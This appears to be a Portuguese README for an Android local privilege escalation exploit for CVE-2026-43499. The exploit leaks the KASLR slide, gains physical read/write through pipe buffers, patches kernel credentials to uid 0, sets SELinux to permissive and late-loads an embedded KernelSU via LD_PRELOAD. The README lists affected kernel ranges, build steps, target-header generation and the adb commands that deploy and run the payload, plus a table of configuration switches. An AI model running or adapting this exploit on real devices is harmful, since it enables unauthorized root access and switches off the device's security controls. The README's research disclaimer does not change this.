
Exploit de escalada de privilégios local no Android para CVE-2026-43499 que corrige credenciais do kernel e inicia o KernelSU embutido em modo late-load via LD_PRELOAD.
Adaptação de escalação local de privilégios baseada na vulnerabilidade de kernel CVE-2026-43499, integrando o KernelSU embutido. Compila e gera preload.so; após a exploração bem-sucedida, o KernelSU será iniciado no modo late-load (modo jailbreak). Suporta a geração de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img. ou de outra forma
Projetos de referência:
[!IMPORTANT] A exploração não autorizada de vulnerabilidades para danificar, comprometer ou obter acesso a sistemas de computador é proibida por lei. Este projeto é fornecido estritamente para fins de pesquisa, educacionais e de aprendizado, e só pode ser usado em sistemas e ambientes para os quais a autorização prévia tenha sido concedida. Qualquer uso deste projeto é feito por conta e risco do usuário. Os autores e contribuidores não assumem qualquer responsabilidade por qualquer uso indevido deste projeto ou por quaisquer danos, perdas ou consequências legais resultantes de seu uso.
Aviso legal: o uso não autorizado de vulnerabilidades para destruir, invadir ou acessar sistemas de computador sem autorização pode violar leis e regulamentos relevantes. Este projeto destina-se apenas a fins de pesquisa de segurança, aprendizado e testes em sistemas e ambientes que tenham obtido autorização legal. Quaisquer perdas diretas ou indiretas, responsabilidades legais e outras consequências decorrentes do uso, abuso ou modificação deste projeto são de responsabilidade exclusiva do usuário, e os autores e contribuidores do projeto não assumem qualquer responsabilidade.
Quando a versão do seu kernel for {Linux Kernel}, você está dentro do escopo de impacto desta vulnerabilidade
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | Status |
|---|---|
rodin (padrão) | Verificado |
Outros src/targets/* | Referência |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # KernelSU userspace binary embutido em preload.so
├── tools/
│ ├── generate_target.py # Ponto de entrada unificado deste repositório para geração de target.h
│ └── vendor/ # Scripts auxiliares de geração originais sincronizados do diretório pai
└── src/
├── main.c # Fluxo principal do exploit
├── preload.c # LD_PRELOAD constructor + escrita/inicialização do ksud
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
Saída:
build/<target>/bin/preload.so
make list-projects
Este repositório já inclui scripts unificados de geração de target:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py é o script de entrada. Ele referencia e encapsula todos os fluxos de geração de target do diretório pai, e por fim gera o src/targets/<project>/target.h completo adaptado ao código-fonte deste repositório.
O script não força a validação de CONFIG_DEBUG_INFO_BTF=y no IKCONFIG. Se os offsets dos campos da estrutura ou o layout percpu de entry_task não puderem ser verificados, ele imprimirá um aviso e continuará a geração.
Se não houver BTF utilizável na imagem, por exemplo, se aparecer:
有效 vmlinux BTF 候选不唯一: []
O gerador entrará no fallback sem BTF:
boot.img atual;rodin;without BTF e o template utilizado;É possível especificar o template de fallback:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# ou
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
Grava por padrão em:
src/targets/<project>/target.h
Também é possível chamar o script diretamente:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
O profile.json precisa conter informações de endereço físico, por exemplo:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
Apenas gerar o profile:
make detect-profile PROFILE_OUT=profile.json
Detectar o profile e gerar o target imediatamente:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
O script também expõe outras entradas suportadas pelo gerador do diretório pai:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
Formato de saída em caso de sucesso:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin manterá por padrão o valor verificado em dispositivo real:
#define MM_STRUCT_SZ 0x500
Para sobrescrever:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
Recomenda-se gerar a partir do boot image e profile correspondentes:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
Um header de target completo conterá:
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ e valores de ajuste do KernelSnitchO código-fonte atual já possui valores padrão definidos; para a execução normal, basta definir LD_PRELOAD e executar qualquer programa (recomenda-se toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
A configuração padrão atual é a seguinte:
Comando ksud efetivamente executado por padrão:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Essas variáveis de ambiente ainda podem ser sobrescritas em tempo de execução, por exemplo:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Reutilizar um ksud já escrito:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make clean preservará build/embed/ksud, pois src/ksud_blob.S o embute da seguinte forma:
.incbin "build/embed/ksud"
Se a limpeza manual fizer com que build/embed/ksud seja perdido, é possível restaurá-lo:
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" not foundRestaure o payload embutido e recompile:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0rodin espera usar o layout legacy/simple pselect:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
Se o estado do dispositivo foi contaminado por tentativas falhas, reinicie e tente novamente:
adb reboot
F_SETPIPE_SZ retorna EPERMGeralmente é um problema de estado causado por tentativas falhas/residuais; reiniciar é a forma mais rápida de limpar:
adb reboot
ksud inicia mas /proc/modules não tem KernelSUVerifique os logs:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
Se necessário, execute manualmente em um root shell:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. See LICENSE.
| Configuração | Valor padrão | Descrição |
|---|
KSUD_LATE_LOAD | 1 | Executa ksud late-load |
KSUD_ALLOW_SHELL | 1 | Passa --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | Nome do pacote do gerenciador passado ao ksud (aparentemente sem efeito) |
KSUD_DST | /data/local/tmp/ksud | Caminho de escrita do ksud embutido |
KSUD_SKIP_WRITE | 0 | Por padrão, escreve o ksud embutido |
KSUD_DEFER_TO_PARENT | 1 | Inicia o ksud a partir do caminho do processo pai/atual já patchado |
ROOT_PATCH_SELF | 1 | Patcha o processo atual para uid 0 |
DISABLE_SELINUX | 1 | Ao aplicar o root patch, define o SELinux enforcing como permissive |
ROOT_EXIT_SLEEP | unset / 0 | Não faz sleep adicional antes de retornar |